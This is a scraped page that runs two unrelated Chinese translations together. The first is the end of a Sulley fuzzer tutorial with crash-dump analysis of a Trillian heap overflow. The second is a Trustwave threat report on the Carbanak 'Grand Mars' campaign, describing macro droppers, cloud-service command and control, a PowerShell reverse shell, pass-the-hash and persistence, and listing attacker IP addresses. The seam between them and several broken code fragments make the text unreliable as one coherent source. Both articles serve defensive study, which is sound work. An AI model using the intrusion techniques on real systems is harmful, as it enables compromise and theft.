sess.connect(s_get("mail from"), s_get("rcpt to"))
sess.connect(s_get("rcpt to"), s_get("data"))
fh = open("session_test.udg", "w+")
fh.write(sess.render_graph_udraw())
fh.close()
fuzz时，Sulley从根节点开始遍历graph结构，并沿途fuzz每个组件。这个例子以'helo'
requet开头。一旦完成，Sulley将开始fuzz “maiL from” request。它通过在每个测试用例前面加上有效的“helo”
request来实现。 接下来，Sulley继续fuzz 'rcpt to’
request。同样，这是通过在每个测试用例前面加上有效的“helo”和“mail from” request来实现的。等到该过程一直到”data”
request完成后,又转回到从”ehlo”开始。通过构建的graph将协议分解为单个请求，并fuzz所有可能路径，使得Sulley的fuzz能力十分强大。举个实际例子，2006年9月针对Ipswitch
Collaboration Suite的问题。在这种情况下，软件故障是在解析字符'@'和'：'中包含的长字符串时造成的堆栈溢出。
这个案例的有趣之处在于，这个漏洞只暴露在'ehlo'路线而不是'helo'路线上。
如果我们的fuzzer无法走完所有可能的协议路径，那么可能会错过像他这样的问题。
实例化session时，可以指定以下可选关键字参数：
* session_filename :( string，default = None）（Filename to serialize persistent data to. ）。 指定文件名来操作fuzzer的执行。
* skip :(整数，默认= 0）要跳过的测试用例数。
* sleep_time :( float，default = 1.0）在传输测试用例之间sleep的时间。
* log_level :(整数，默认= 2）设置日志级别，更高的数字==更多日志消息。
* proto :( string，default =“tcp”）通信协议。
* timeout：（float，default = 5.0）设置等待send（）/ recv（）的超时时长。
* restart_interval: (integer, default=0) 在N个测试用例之后重新启动目标，通过设置为0禁用
* crash_threshold :(整数，默认值= 3）节点耗尽前允许的最大崩溃次数
Sulley引入的另一个高级功能是能够在协议图结构中定义的每个边缘上注册回调。这允许我们注册在节点传输之间调用的函数，以实现诸如质询响应系统之类的功能。回调方法必须遵循此原型：
def callback(node, edge, last_recv, sock)
'node'是要发送的节点，'edge'是当前fuzz到node'的最后一条路径，'last_recv'包含从最后一个套接字传输返回的数据，'sock'是实时套接字。如果你需要动态填写目标IP地址，就可以一个sock.getpeername（）回调获取IP。Edge回调也可以通过可选关键字参数'callback'来注册session.connect（）方法。
## Targets and Agents
下一步是定义target，将它们与代理链接并将目标添加到会话中。在以下示例中，我们实例化一个在VMWare虚拟机内运行的target，并将其链接到三个代理：
target = sessions.target("10.0.0.1", 5168)
target.netmon = pedrpc.client("10.0.0.1", 26001)
target.procmon = pedrpc.client("10.0.0.1", 26002)
target.vmcontrol = pedrpc.client("127.0.0.1", 26003)
target.procmon_options = \
{
"proc_name" : "SpntSvc.exe",
"stop_commands" : ['net stop "trend serverprotect"'],
"start_commands" : ['net start "trend serverprotect"'],
}
sess.add_target(target)
sess.fuzz()
实例化的目标绑定在主机10.0.0.1上的TCP端口5168上。
网络监视器代理正在目标系统上运行，默认侦听端口26001.网络监视器将记录所有套接字通信到由测试用例编号标记的各个PCAP文件。
进程监视器代理程序也在目标系统上运行，默认情况下在端口26002上进行侦听。此代理接受指定要附加到的进程名称的其他参数，用于停止目标进程的命令和用于启动目标进程的命令。
最后，VMWare控制代理在本地系统上运行，默认情况下在端口26003上进行侦听。目标将添加到会话中并开始fuzz。
Sulley可以fuzz多个target，每个target都有一组独特的链接代理。 这样分割测试空间（total test
space）可以有效节省fuzz时间。
让我们仔细看看每个代理（agnet）的功能。
### Agent: Network Monitor (network_monitor.py)
网络监视器代理负责监视网络通信并将其记录到磁盘上的PCAP文件。
代理硬编码绑定到TCP端口26001，并通过PedRPC自定义二进制协议接受来自Sulley
session的连接。在将测试用例发送给target之前，Sulley联系该代理并请求它开始记录网络流量。
一旦测试用例成功传输，Sulley再次联系该代理，请求它将记录的流量刷新到磁盘上的PCAP文件。
PCAP文件以测试用例编号命名，便于检索。此代理不必在与目标软件相同的系统上启动。 但是，它必须能够看到发送和接收的网络流量。 此代理接受以下命令行参数：
ERR> USAGE: network_monitor.py
<-d|--device DEVICE #> device to sniff on (see list below)
[-f|--filter PCAP FILTER] BPF filter string
[-p|--log_path PATH] log directory to store pcaps to
[-l|--log_level LEVEL] log level (default 1), increase for more verbosity
Network Device List:
[0] \Device\NPF_GenericDialupAdapter
[1] {2D938150-427D-445F-93D6-A913B4EA20C0} 192.168.181.1
[2] {9AF9AAEC-C362-4642-9A3F-0768CDA60942} 0.0.0.0
[3] {9ADCDA98-A452-4956-9408-0968ACC1F482} 192.168.81.193
...
### Agent: Process Monitor (process_monitor.py)
过程监控代理负责检测fuzz target过程中可能发生的故障。 代理硬编码绑定到TCP端口26002并通过PedRPC自定义二进制协议接受来自Sulley
session的连接。在成功将每个单独的测试用例传输到target之后，Sulley联系该代理以确定是否触发了故障。如果是这样，关于故障性质的hgih
level信息将被传送回Sulley session，以便通过内部Web服务显示（稍后将详细介绍）。
ERR> USAGE: process_monitor.py
<-c|--crash_bin FILENAME> filename to serialize crash bin class to
[-p|--proc_name NAME] process name to search for and attach to
[-i|--ignore_pid PID] ignore this PID when searching for the target process
[-l|--log_level LEVEL] log level (default 1), increase for more verbosity
### Agent: VMWare Control (vmcontrol.py)
VMWare控制代理硬编码为绑定到TCP端口26003并接受来自Sulley的连接通过PedRPC自定义二进制协议进行会话。
此代理公开用于与虚拟机映像交互的API，包括启动，停止，挂起或重置映像以及获取，删除和还原快照的功能。如果检测到故障或无法到达target，Sulley可以联系此代理并将虚拟机恢复到已知的良好状态。测试序列的honing工具很大程度上依赖该代理来完成识别触发给定复杂故障的测试用例的精确序列的任务（The
test sequence honing tool will heavily rely on this agent to accomplish its
task of identifying the exact sequence of test cases that trigger any given
complex fault. ）。
ERR> USAGE: vmcontrol.py
<-x|--vmx FILENAME> path to VMX to control
<-r|--vmrun FILENAME> path to vmrun.exe
[-s|--snapshot NAME> set the snapshot name
[-l|--log_level LEVEL] log level (default 1), increase for more verbosity
## Web Monitoring Interface
Sulle
Session类有一个内置小型Web服务，它被硬编码绑定到端口26000。一旦调用了session的fuzz（）方法，Web服务线程就会开始，并且可以看到fuzz的进度，下图是屏幕截图的示例：
通过按下相应按钮可以暂停和恢复fuzzer。 每个检测到的crash在列表中简要显示，其中第一列中列出了违规测试案例编号。
单击测试用例编号可以看到发生crash时加载详细的crash信息。 此信息当然也可以在“crash bin”文件中找到，并可通过编程方式访问。
# Post Mortem
一旦Sulley fuzz session完成，就可以查看结果并进入检验阶段。
在Web服务中的会话将为您提供有关潜在未发现问题的早期提示，这是您花时间来分类测试结果。有一实用程序可以帮助您完成此过程。
第一个是'crashbin_explorer.py'实用程序，它接受以下命令行参数：
$ ./utils/crashbin_explorer.py
USAGE: crashbin_explorer.py <xxx.crashbin>
[-t|--test #] dump the crash synopsis for a specific test case number
[-g|--graph name] generate a graph of all crash paths, save to 'name'.udg
例如，我们可以使用此实用程序查看检测到崩溃的每个位置，并列出在该地址触发崩溃的各个测试用例编号。 以下是对Trillians
Jabber协议解析器的真实例子：
$ ./utils/crashbin_explorer.py audits/trillian_jabber.crashbin
[3] ntdll.dll:7c910f29 mov ecx,[ecx] from thread 664 caused access violation
1415, 1416, 1417,
[2] ntdll.dll:7c910e03 mov [edx],eax from thread 664 caused access violation
3780, 9215,
[24] rendezvous.dll:4900c4f1 rep movsd from thread 664 caused access violation
1418, 1419, 1420, 1421, 1422, 1423, 1424, 1425, 3443, 3781, 3782, 3783, 3784, 3785, 3786, 3787, [1] ntdll.dll:7c911639 mov cl,[eax+0x5] from thread 664 caused access violation
3442,
这些列出的崩溃点中没有一个时明显可利用的。 我们可以通过使用'-t'命令行开关指定测试用例编号来进一步深入了解单个崩溃的细节。
我们来看看测试用例编号1416：
$ ./utils/crashbin_explorer.py audits/trillian_jabber.crashbin -t 1416
ntdll.dll:7c910f29 mov ecx,[ecx] from thread 664 caused access violation
when attempting to read from 0x263b7467
CONTEXT DUMP
EIP: 7c910f29 mov ecx,[ecx]
EAX: 039a0318 ( 60424984) -> gt;>>...>>>>>(heap)
EBX: 02f40000 ( 49545216) -> PP@ (heap)
ECX: 263b7467 ( 641430631) -> N/A
EDX: 263b7467 ( 641430631) -> N/A
EDI: 0399fed0 ( 60423888) -> #e<root><message>>>>>...>>>& (heap)
ESI: 039a0310 ( 60424976) -> gt;>>...>>>>>(heap)
EBP: 03989c38 ( 60333112) -> \|gt;&t]IP"Ix;IXIox@ @x@PP8|p|Hg9I P (stack)
ESP: 03989c2c ( 60333100) -> \|gt;&t]IP"Ix;IXIox@ @x@PP8|p|Hg9I (stack)
+00: 02f40000 ( 49545216) -> PP@ (heap)
+04: 0399fed0 ( 60423888) -> #e<root><message>>>>>...>>>& (heap)
+08: 00000000 ( 0) -> N/A
+0c: 03989d0c ( 60333324) -> Hg9I Pt]I@"ImI,IIpHsoIPnIX{ (stack)
+10: 7c910d5c (2089880924) -> N/A
+14: 02f40000 ( 49545216) -> PP@ (heap)
disasm around:
0x7c910f18 jnz 0x7c910fb0
0x7c910f1e mov ecx,[esi+0xc]
0x7c910f21 lea eax,[esi+0x8]
0x7c910f24 mov edx,[eax]
0x7c910f26 mov [ebp+0xc],ecx
0x7c910f29 mov ecx,[ecx]
0x7c910f2b cmp ecx,[edx+0x4]
0x7c910f2e mov [ebp+0x14],edx
0x7c910f31 jnz 0x7c911f21
stack unwind:
ntdll.dll:7c910d5c
rendezvous.dll:49023967
rendezvous.dll:4900c56d
kernel32.dll:7c80b50b
SEH unwind:
03989d38 -> ntdll.dll:7c90ee18
0398ffdc -> rendezvous.dll:49025d74
ffffffff -> kernel32.dll:7c8399f3
同样，没有明显看出什么东西，但是我们知道因为寄存器包含了ASCII：“&；tg”产生的无效解引用导致了这种访问冲突。或许是字符串扩展问题？我们可以使用“-g”通过图形来查看崩溃位置：
我们可以看到，虽然我们已经发现了4个不同崩溃点，但问题的根源似乎是相同的。进一步的研究表明，这确实是正确的。Rendezvous /
XMPP（可扩展消息传递和状态协议）消息传递子系统中存在特定缺陷。Trillian通过UDP端口5353上的“_presence”mDNS（多播DNS）服务定位附近的用户。一旦用户通过mDNS注册，就通过TCP端口5298上的XMPP完成消息传递。在plugins
\ rendezvous.dll中,跟随逻辑应用于收到的消息(the follow logic is applied to received
messages:)：
4900C470 str_len:
4900C470 mov cl, [eax] ; *eax = message+1
4900C472 inc eax
4900C473 test cl, cl
4900C475 jnz short str_len
4900C477 sub eax, edx
4900C479 add eax, 128 ; strlen(message+1) + 128
4900C47E push eax
4900C47F call _malloc
计算提供的消息的字符串长度，并分配长度为+ 128的堆缓冲区来存储消息的副本，然后通过expatxml.xmlComposeString（）传递
seString", struct xml_string_t *);
struct xml_string_t {
unsigned int struct_size;
char *string_buffer;
struct xml_tree_t *xml_tree;
};
xmlComposeString（）例程调用expatxml.19002420（），其中HTML分别编码字符＆，>和<as＆，>和<。
在以下反汇编代码段中可以看到此行为：
19002492 push 0
19002494 push 0
19002496 push offset str_Amp ; "&"
1900249B push offset ampersand ; "&"
190024A0 push eax
190024A1 call sub_190023A0
190024A6 push 0
190024A8 push 0
190024AA push offset str_Lt ; "<"
190024AF push offset less_than ; "<"
190024B4 push eax
190024B5 call sub_190023A0
190024BA push
190024BC push
190024BE push offset str_Gt ; ">"
190024C3 push offset greater_than ; ">"
190024C8 push eax
190024C9 call sub_190023A0
由于最初计算的字符串长度不考虑此字符串扩展，rendezvous.dll中的以下后续内联内存复制操作，可能会触发可利用的内存损坏：
4900C4EC mov ecx, eax
4900C4EE shr ecx, 2
4900C4F1 rep movsd
4900C4F3 mov ecx, eax
4900C4F5 and ecx, 3
4900C4F8 rep movsb
WikiStart
Sulley检测到的每个崩溃都是对这个逻辑错误的回应。 跟踪故障位置和路径使我们能够快速假设崩溃来源。
我们最后一步是希望删除所有不包含崩溃信息的PCAP文件。 'pcap_cleaner.py'实用程序就是为此编写的：
$ ./utils/pcap_cleaner.py
USAGE: pcap_cleaner.py <xxx.crashbin> <path to pcaps>
此实用程序将打开指定的crashbin文件，读入触发故障的测试用例编号列表并从指定目录中清除所有其他PCAP文件。 | 社区文章 |
# 【权威报告】高级威胁报告：Grand Mars行动—对抗Carbanak网络攻击
|
##### 译文声明
本文是翻译文章，文章来源：2.trustwave.com
原文地址：<https://www2.trustwave.com/Operation-Grand-Mars.html>
译文仅供参考，具体内容表达以及含义原文为准。
****
**翻译：**[ **pwn_361**
****](http://bobao.360.cn/member/contribute?uid=2798962642)
**预估稿费：300RMB**
**投稿方式：
发送邮件至[linwei#360.cn](mailto:[email protected])，或登陆[网页版](http://bobao.360.cn/contribute/index)在线投稿**
**一、摘要**
2016年9月到10月期间，在欧洲和美国的酒店行业中，多个重要机构在他们的网络里发现了可疑和潜在的恶意活动，这些恶意活动分布在不同属性和地点的服务器、销售点终端机、和客户端工作站中。Trustwave公司的SpiderLabs安全团队接受了这些机构的安全咨询并进行调查。
这次攻击行动的主要动机是获取经济利益、完全控制目标的基础设施、在受害组织内收集僵尸主机。取证调查和分析表明，这次行动是由多个个体或多个群体实施的，包含多个恶意团体的互相合作，每个恶意团体有自己的角色和任务。很明显，我们正在对付有组织的犯罪份子，他们为了对多个受害人实施攻击活动，建立了这个复杂的网络主机系统，及大量的恶意文件。
在被攻击的机构里发现了多个攻击标志，不仅在企业AV服务中发现了一些潜在的恶意软件碎片，而且在Windows事件日志中也发现了可疑活动的标志信息。由于受害者是不同的机构，因此对不同机构的调查由Trustwave内部的不同小组进行，但是小组之间是共享信息的，调查表明攻击事件中存在几个相似之处。
在所有攻击行动中，共同的进入点是一封针对受害者公共服务的电子邮件，包含一个Word文档附件。一旦打开这个附件，多个恶意文件就会被创建或下载，这就使攻击者一定程度上进入了受害者的基础设施中。在一些情况下，攻击者实际上会给受害人打一个电话，用一个社会工程学策略，来引导受害人打开附件。
下一步，攻击者会运用多种HASH传递的方法，进行提权操作，并通过计划任务和多个自启动的位置使得控制持久化。最终这些行为允许攻击者获得域权限、甚至以企业管理级访问该网络，并使用了多个在欧洲和美国的资源作为C&C服务器。
攻击者通过使用云服务，如Google Docs,Google
Forms和Pastebin.com，来跟踪被感染的系统、传播恶意软件、实施附加的恶意活动。利用这些服务对攻击者很有利，因为大多数企业的网络都允许访问这些服务，并且几乎不可能屏蔽它们。
在这次攻击行动中使用的恶意代码，被分割成了内存驻留代码、脚本代码(PowerShell,JavaScript,VBS)、可执行代码(经常出现新变种)，并使用了定制版本的工具包，如Metasploit,PowerSploit,Veil
Framework。
另一个重要标识是一些可执行文件使用了来自Comodo的有效证书，一个权威的证书。根据对该证书的分析，我们相信攻击者购买或使用了假的身份，绕过了额外的安全控制。
在本文中，我们描述了一个针对欧洲和美国酒店行业的系统性犯罪攻击行动。然而，我们的发现显示出其它行业，如电子商务和零售行业也在危险中，这种犯罪活动可以轻易地传播到世界其他地方。
大部分C&C服务器使用的IP地址部署在欧洲(英国、法国、瑞典等)的未知系统上，表明攻击者通过使用看似无害的服务器作为恶意端点，试图绕过网络安全控制。在对这次攻击行动调查期间，我们监控了这些C&C服务器的访问，发现攻击者偶尔会改变他们的C&C服务器，并下线之前的C&C服务器。我们相信，这种交替使用C&C服务器的做法是有目的的行为，应该是为了尽可能的保持隐蔽。
我们将这次攻击行动称为“Grand
Mars”行动，在那以后，网络犯罪份子使用了从Comodo买到的其中一个数字证书。尽管在证书细节中使用的名称和俄罗斯位置细节(城市，地址等)可能是假的，但实际上有人买了这些证书，这是一个强有力的标志，说明我们对付的是有组织的犯罪活动。
我们的高级威胁报告旨在对该攻击行动的行为和文件进行分析：
我们的分析和调查采取的方法是描述恶意活动的性质、策略、及攻击者运用的技术、可能的动机，以及攻击背后的威胁角色的属性。
对于已经被这个行动攻击的机构、或愿意采取积极应对措施的机构，我们提出了修补措施和建议。
攻击指示器(IOCs)将不仅有利于机构探索评估遭受到的攻击(或在专业安全团队的帮助下)，而且在机构被当成目标时，提供一个具有前瞻性检测机制的早期预警系统。
尽管如此，还是要注意到，我们的这种高级威胁报告没有、也没有能力取代正式的事件响应行动和程序，事件响应行动和程序作为机构事件响应/灾难恢复的路线图，必须担负起减缓威胁和恢复业务的功能。
**二、分析和调查**
**1、进入点**
调查的第一个目标是识别出攻击者进入网络时准确的进入点，和最初的攻击方法。
钓鱼邮件和恶意Word文档
Trustwave
SpiderLabs安全团队在全球范围内进行了众多调查，在这次攻击行动的时间线中，最开始使用了一个常见的攻击方法—钓鱼邮件，至少有一个或更多的员工收到了这个邮件，它包含了一个恶意的Word文档，作为邮件的附件。
图 1 受害人收到的邮件中包含恶意Word文档附件
图 2 钓鱼邮件内容
邮件的内容是：美好的一天，我们想为员工预订房间，有12个人将会在11月24日到达巴黎，房间类型在我们的附件中，还有我们员工的名字。如果你们有空房间，我们就付押金。等待你的回复。
邮件内容看起来是合理的，并且和机构的服务(酒店行业)内容是有关系的，邮件包含一个Word文档(.docx)，名称为“1-list.docx”，如下图：
图 3 Word文档附件
有趣的是，恶意软件作者会直接给受害人打电话，并要求受害人打开附件，以确保感染，原因是Word的默认设置会阻止任何宏的执行。这就是攻击途径中说服用户执行宏的社会工程学元素，通过双击文档中内嵌的一个图片。
**恶意Word文档分析**
对Word附件进行详细检查后，发现了该攻击行动使用的攻击方法(策略、途径)，通过使用这种攻击途径，攻击者获得了目标机构网络的进入点，“1-list.docx”文件似乎是一个启用宏的恶意软件，可以在目标系统中下载、并执行恶意代码。
图 4 Word文档，宏激活恶意软件
最新的office(.docx,.xlsx等等)文件实际上是由微软设计的一个基于XML的压缩文件格式，作为一个正常的压缩文件，里面的文件可以被提取出来。解压以后，Word文档的内容中有一个内嵌的OLE对象(oleObject1.bin)被释放出来。
图 5 Word文件中释放出的oleObject1.bin文件
在oleObject1.bin的内容中，嵌入了一段宏代码(unprotected.vbe)，它似乎被编码了。
图 6 oleObject1.bin中疑似编码的内容
图 7 使用合法工具加密/编码VBE脚本
在oleObject1.bin的内容里，有一段字符串，请看上图截图部分，表明攻击者使用了一个市场上可以买到的脚本编码/加密工具，名为“Scripts
Encryptor”，攻击者使用了它的一个评估版本。
图 8 用于混淆VBE脚本的工具
**
**
**内嵌的脚本**
手动对oleObject1.bin的内容进行了解码，结果果然是一个VBScript。这个脚本包含了多个功能，其中的一个子集用于转换数据，针对的是嵌入到脚本中的自定义变量数据，使用的技术例如“BinaryToStRinG，StringTOBinary”和“Base64DecodE，base64ENcode”。
图 9 二进制转换字符串函数
图 10 base64编码解码函数
嵌入式脚本的主要用途之一是使用先前列出的功能在受感染的系统上创建几个其他文件。新文件被存储在名为“f”的变量中。
图 11 创建starter.vbs文件
上面的代码将会在用户的临时文件夹中创建一个starter.vbs文件。
图 12 创建LanCradDriver.vbs、LanCradDriver.ini文件
上图中的代码将会在用户的临时文件夹中创建一个LanCradDriver.vbs文件和一个空的LanCradDriver.ini文件。LanCradDriver.ini的作用将会在后面章节中解释。
图 13 创建TransbaseOdbcDrive.js文件
最后创建的TransbaseOdbcDriver.js文件需要在隐藏的命令行下，利用wscript.exe来执行。
图 14 starter.vbs持久化
除了创建的文件，内嵌的脚本(oleObject1.bin)会添加一个注册表键值用于程序持久化，还包含了一个计划任务，会周期性(每30分钟)的调用并执行“starter.vbs”。
另一个有趣的函数使用了系统的硬盘序列号，并计算出一个唯一的用户识别号。利用这个函数，攻击者从每个受感染的系统中会得到一个唯一的识别号。函数的输出用base64编码过，并存储为“cuid”,在随后的操作中会使用到它。
图 15 计算CUID号
互联网活动还表明，有一个函数在检查机器上的代理设置情况，可疑互联网活动是这个操作行为的一部分，在后面的文章中我们会解释到。
图 16 检查代理配置
图 17 主函数
在操作行为的第一阶段，“主”函数负责处理最后一个比特。初始调用了cuid()，正如我们前面看到的，会处理磁盘的S/N号，然后运行了其它几个功能函数。这些函数收集了用户的信息，如用户名、计算机名/域名(GetUseRData)，检查系统架构(32位还是64位)，并获得系统版本(GetOS)。所有这些信息存储在了“txt”变量中，然后sendFormData函数接着对它进行了处理。
图 18 sendFormData函数
如上图，sendFormData函数使用并连接了Google
Forms，在这一阶段，前面收集的到信息(用户数据、磁盘S/N等)将会被恶意软件操作者发送到Google Form，显示如下：
图 19 最初提交给Google Form
从“formFirstPingBotList”名称上就可以明显看出来，正在从受害者上收集初始信息。使用这种服务，会有利于攻击者，因为这些服务在访问的大部分网络中都不受限制。
**
**
**2、邮件附件的衍生品**
正如我们看到的，打开Word文档会执行内嵌的脚本，会释放出下面四个文件：
图 20 执行内嵌的VBE脚本，释放出的文件
注意上图中的内容，LanCradDriver.ini文件是一个空文件，它还没有被填充。在下面的分析中，你将会看到，在TransbaseOdbcDriver.js脚本执行后，它会被填充。
**starter.vbs**
这是一个VBScript文件，前面已经显示过了，包含注册表自启动，和利用计划任务实现持久化，并执行真正的载荷。
表格 1 starter.vbs的HASH
Starter.vbs负责在一个隐藏的命令行下，使用wscript.exe执行TransbaseOdbcDriver.js脚本。
图 21 starter.vbs脚本
下面的图片显示，starter.vbs脚本通过计划任务被启动了。Starter.vbs依次调用并执行了TransbaseOdbcDriver.js，这是这一攻击阶段的核心。
图 22 TransbaseOdbcDriver.js进程的信息
**TransbaseOdbcDriver.js**
该脚本包含了多个函数，但是在这里我们主要关注它的主要功能。
表格 2 TransbaseOdbcDriver.js的HASH
在执行该脚本后，它会调用LoadLinkSettings()函数，该函数会连接Google
Spreadsheet，并执行一个宏，这个宏基于唯一磁盘序列号(guid)，在文章前面我们可以看到。
图 23 LoadLinkSettings()函数
该宏代码的输出结果被分隔($$$)成三部分，并在后面的操作中会使用到，分别是：SpreadSheetKey、FormKey、Entry。
图 24 执行Google宏后的输出结果
然后，它使用这些参数，调用了LogInet()函数，并使用Google Forms提交了一个新感染者/僵尸主机，连接Google
Forms使用了一个“Android HTC Pyramid”模型(中国–台湾语言)的User-agent字符串。
图 25 LogInet()函数
图 26 使用Google Form注册新感染的系统
初始化成功后，脚本调用getsourcecode()函数，功能是按1或2分钟的间隔无限循环。
图 27 调用getsourcecode()函数
getsourcecode()函数从Pastebin上抓取数据，并将它存储在一个新文件中，名为“dttsg.txt”。最后执行GetCommand()。
图 28 getsourcecode()函数
“dttsg.txt”文件的结构如下图，并按照“last”和“code”分成了两部分，并提供另一个隐蔽信道。
图 29 从Pastebin中抓取的数据
“last”中的数据将会写入注册表，也许是为了跟踪最后执行的命令，
“code”中的数据作为一个参数，用base64编码过，允许攻击者执行以下命令，分别是“Destroy”、“GetCompInfo”、“GetProcList”和“RunCMDLine”，如下图所示，然而，在我们的调查中没有观察到这一特性的用法。
图 30 从Pastebin中抓取的参数
图 31 用于跟踪的Pastebin帐户
然后继续执行GetCommand()函数，它会再次连接Google
Docs，并使用了在LoadLinkSettings()函数中得到的spreadsheetkey，并将函数执行结果存储在LanCradDriver.ini文件中，该文件在最初是一个空文件，现在在此处的操作过程中，使它成为攻击的另一个关键组件。
图 32 从Google Docs中下载代码
实际的数据经过base64编码过，就像我们在Google spreadsheet中看到的，需要解码。该数据存储在LanCradDriver.ini文件中。
图 33 从Google spreadsheet下载的编码的PowerShell命令
LanCradDriver.ini文件中的数据需要利用VBScript脚本来执行，起初是一个编码过的PowerShell脚本。最后一步，TransbaseOdbcDriver.js利用wscript.exe执行LanCradDriver.vbs脚本。
图 34 执行LanCradDriver.ini中的代码
**LanCradDriver.vbs**
该文件的功能是读取和执行LanCradDriver.ini文件中的命令(通过TransbaseOdbcDriver.js脚本)。
表格 3 LanCradDriver.vbs文件的HASH
图 35 LanCradDriver.vbs
**LanCradDriver.ini**
正如我们之前讲到的，TransbaseOdbcDriver.js脚本从Google
Docs上读取了位于spreadsheet上的一个单元格，数据采用base64编码格式。在解码以后，解码的数据会重新存储到LanCradDriver.ini文件中。
表格 4 LanCradDriver.ini文件的HASH
下面刚是从Google
spreadsheet返回的一个PowerShell命令，并存储在LanCradDriver.ini文件中，在目标系统中，TransbaseOdbcDriver.js脚本会执行该PowerShell命令。
图 36 LanCradDriver.ini中的内容(部分内容)
在前面我们注意这个数据是用base64编码和压缩过的，这有利于隐藏真实的PowerShell命令。
在成功执行Transbaseodbcdriver.js脚本后，下面的图片显示的是文件夹中的内容。注意，此时的LanCradDriver.ini文件已经不是空文件了，因为它已经被Google
spreadsheet上的数据填充了。
图 37 执行Transbaseodbcdriver.js脚本后，LanCradDriver.ini文件被填充了
**行为总结**
总之，四个被释放文件的作用可以通过下面的流程图直观的表示出来：
图 38 释放文件的作用和执行顺序
下面的图表直观的呈现出了在整个攻击行动中，恶意软件使用的C&C机制，包括使用Pastebin、Google
Docs(spreadsheets)和Google Forms去控制受害人系统。
图 39 恶意软件C&C服务流程图
图 40 恶意软件在Google Spreadsheet不能用时的C&C服务流程图
使用这种C&C服务机制，虽然说不是很罕见，但是这足以表明，我们面对的是一个高度组织化和成熟化的攻击者，并不是一个投机份子、松散组织或孤狼攻击。
**
**
**3、攻击持久化**
**PowerShell脚本**
此时此刻，从Google
Docs下载的PowerShell脚本已被解码，并在被感染的系统上执行了。正如图36所示的，使用了PowerShell压缩和Base64函数来隐藏有效载荷。在解析这些功能后，输出结果表明该脚本的目的是建立一个持久后门，经常被称为TCP反弹连接shell。
它的细节如下：
1) 该脚本连接到一个外部IP的80端口，然而，它并没有用HTTP协议来传输数据。
2) 分配内存，并创建线程的代码存在。
3) 然后接收一个源于外部IP的、经过异或加密的载荷。
4) 使用0x50密钥，解密载荷，并写入内存。
图 41 PowerShell中的TCP反弹SHELL
上面脚本的结果是，产生一个常驻内存的恶意软件，并给网络罪犯提供一个反弹shell。攻击者现在成功获得了进入目标基础设施的后门。PowerShell命令用于解码和执行该脚本。这种载荷传递方法和“PowerSploit”、“Veil
Framework”很相似，前者是一个PowerShell的Post-Exploitation框架，后者是一个众所周知的逃税杀毒检测的载荷工具。
**注册表自启动**
此外，攻击者利用了系统自启动位置(常见嫌疑犯)来实现持久化。为了在机器重启后能自启动，它在注册表中创建了下面的键值。
图 42 注册表持久化
计划任务
最后，又创建了一个计划任务，每30分钟会被触发一次，并无限循环。计划任务的名称是“SysCheks”，它会执行“starter.vbs”。
图 43 SysCheks计划任务持久化
所有东西都被复制在用户临时目录下，“C:Users<user
profile>AppDataLocalTemp”，这也是非常常见的恶意软件行为，因为任何用户对这个文件夹都有完全的访问权限。
**
**
**4、横向运动(横向攻击)**
**HASH传递**
在这次攻击行动的初始阶段，攻击者获得了进入本地Windows系统的管理帐户，并利用HASH传递偷了一个域证书，是高权限用户。
图 44 事件显示出HASH传递标识
上图显示的ID为4624的事件显示出，用户的一个本地帐户是从网络登录的(Logon Type:3)，并使用了随机的计算机名(Workstation
Name: T5NMapiY4kGetJDe)，可能是利用了一个自动化工具的结果。
HASH传递是攻击者成功控制一个系统时常用的技术，窃取凭据HASH，并使用它在另一个系统中执行认证。如果在目标基础设施中，共享相同的本地帐户，这种技术对攻击者会很有用。
最终，攻击者通过位于欧洲和美国的充当C&C服务器的多个资源，获得域权限、或企业域管理访问权、网络访问权。
对攻击基础架构的进一步调查显示出，入侵者在目标环境中在传播相似的PowerShell脚本、或嵌入批处理文件。大量的内部系统事件记录，如下图：
图 45用于传播的批处理文件
图 46 用于传播的PowerShell脚本
在整个攻击行动中，发现了多个PowerShell脚本，并且和最初从Google
Docs下载的PowerShell脚本是相似的。它们的最大不同点是C&C服务器的IP地址，是位于欧洲的多个主机中的一个。
**
**
**5、更多恶意文件**
在同一时间和日期中，我们对文件系统活动进行取证分析时，又发现了多个释放到临时文件夹的恶意文件，它们是TransbaseOdbcDriver.js文件和其他配套文件：
1) AdobeUpdateManagementTool.vbs(连接C&C，并提取数据)。
2) UVZHDVlZ.exe(Carbanak的变种)。
3) Update.exe(Cobalt Strike的post-exploitation工具)。
4) 322.exe(TCP反弹shell)。
对这些可执行文件进行分析，发现它们有共同的恶意性质，主要用途是建立持久化或数据提取。
AdobeUpdateManagementTool.vbs
这是使用VBScript写的恶意脚本，主要功能是从攻击者那里接收命令，然后根据命令下载、执行EXE文件、执行VBScript或PowerShell脚本文件。并通过HTTP
POST隧道将窃取的数据发送到攻击者的IP地址。
尽管在我们的调查中，我们观察到的文件名称是“AdobeUpdateManagementTool.vbs”，但是攻击者在不同的攻击行动中使用不同的文件名是很常见的。
表格 5 AdobeUpdateManagementTool.vbs文件的HASH
AdobeUpdateManagementTool.vbs在执行时，会创建一个文件夹，名为“%AllUsersProfile%+“Dropebox”+<username>”，例如C:ProgramDataDropeboxJoePC，并在该文件夹中释放出下面的文件：
screenshot__.ps1：截屏的PowerShell脚本。
screenshot__.png：通过上面的PowerShell脚本，截取的屏幕图片。
Exe__.exe：攻击者发送来的可执行文件。
Vb__.vbs：攻击者发送来的VBScript。
Ps1__.ps1：攻击者发送来的PowerShell脚本。
Insatller.vbs：攻击者发送来的VBS脚本更新器。
该恶意脚本给攻击者的C&C服务器发送一个特定的请求，并从服务器接收一个经过HASH(MD5)的命令。该命令会在被攻击的系统中执行。
表格 6 支持的命令示例
上图是每个命令执行后的结果，并通过HTTP POST请求发送到C&C服务器中，格式如下：
图 47 用HTTP POST请求向C&C服务器发送数据
HTTP POST数据中body的格式：
图 48 HTTP POST方式选项
在每次发送“命令-结果数据”期间，该脚本会循环进入睡眠模式，持续3到5分钟。
下面是识别出来的和这个脚本有关的C&C服务器IP(攻击者会经常改变他们的C&C服务器，因此这点IP是微不足道的，这些IP可能和将会进行的其它攻击行为的IP是不同的)：
• 148.251.18.75
• 95.215.46.221
• 95.215.46.229
• 95.215.46.234
• 81.17.28.124
通过VirusTotal的报告，任何杀毒软件工具都没有将这个文件标记成恶意软件，这是一个成熟恶意软件的明确标志，及它背后的威胁角色。
UVZHDVlZ.exe
该文件是一个Anunak恶意软件的加载者，Anunak恶意软件是加密的、内嵌在可执行文件中。该载荷(Anunak)可执行并被注入到svchost.exe中，给攻击者提供连接受害系统、并持久化进入受害系统的能力。
表格 7 UVZHDVlZ.exe文件的HASH
